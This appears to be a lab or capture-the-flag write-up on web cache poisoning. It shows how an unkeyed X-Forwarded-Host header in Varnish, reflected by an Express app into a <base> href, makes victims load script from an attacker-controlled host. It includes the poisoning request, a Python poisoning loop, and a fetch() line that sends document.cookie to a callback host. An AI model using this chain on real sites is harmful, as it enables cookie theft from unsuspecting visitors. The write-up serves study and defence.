Cache poisoning through a reflected base URL
Web cache poisoning through a reflected base URL
A cache-key mismatch occurs when a request value changes the backend response without forming part of the cache key. The poisoned response is stored under the same key later used by another visitor. The response must be eligible for shared caching, and the cache must forward the unkeyed request value to the backend.
The following Varnish VCL creates a cache key from the complete request URL and the Host header:
sub vcl_hash {
hash_data(req.url);
if (req.http.host) {
hash_data(req.http.host);
} else {
hash_data(server.ip);
}
return (lookup);
}X-Forwarded-Host is absent from this cache key. Varnish therefore treats two requests with the same URL and Host as the same cache entry when their X-Forwarded-Host values differ.
An Express backend can use that unkeyed header when trust proxy is enabled and req.hostname is inserted into an asset URL:
app.set("trust proxy", true);
app.get("/page", (req, res) => {
const assetBase = `${req.protocol}://${req.hostname}/static/`;
const templateData = {
assetBase: assetBase
};
res.render("page.html", templateData);
});The template reflects the generated URL into the document’s <base> element and loads a relative JavaScript file:
<base href="{{ assetBase }}">
<script src="application.js"></script>The reflected value is a complete attacker-controlled URL. The browser uses it as the starting URL for relative paths, so application.js is requested from the attacker-controlled host.
The poisoning request must use the exact URL and Host later requested by the intended visitor:
GET /page?id=<RESOURCE_ID> HTTP/1.1
Host: <VICTIM_CACHE_HOST>
X-Forwarded-Host: <CALLBACK_HOST>The backend renders the following response and Varnish stores it under the URL-and-Host cache key:
<base href="http://<CALLBACK_HOST>/static/">
<script src="application.js"></script>A later request for the same URL and Host receives the cached page. The relative script path then resolves to:
http://<CALLBACK_HOST>/static/application.jsThe hosted JavaScript can send browser-accessible data to the same callback server:
fetch("http://<CALLBACK_HOST>/?cookie=" + encodeURIComponent(btoa(document.cookie)))Cache poisoning request
The reflected hostname and cache status confirm that the stored response contains the intended asset base:
def poison_cache(s, resource_id, callback_host):
headers = {
"Host": CACHE_HOST,
"X-Forwarded-Host": callback_host
}
params = {
"id": resource_id
}
while True:
r = s.get(url=CACHE_URL, headers=headers, params=params, verify=False, timeout=10, proxies=PROXIES)
cache_status = r.headers.get("X-Cache")
callback_host_reflected = callback_host in r.text
if cache_status == "HIT" and callback_host_reflected:
return r
r = poison_cache(s, "<RESOURCE_ID>", "<CALLBACK_HOST>")
print("[+] Cache entry poisoned")The complete chain is:
unkeyed forwarded header changes the backend response
-> reflected value controls the document base URL
-> Varnish stores the response under the victim URL and Host
-> privileged browser receives the poisoned cached response
-> relative JavaScript loads from the callback server
-> JavaScript sends browser-accessible data to the callback serverFind by: web cache poisoning, cache key mismatch, unkeyed header, varnish, vcl hash, x-forwarded-host, reflected host, base href, relative script, asset origin, stored response, privileged bot, cookie exfiltration, chain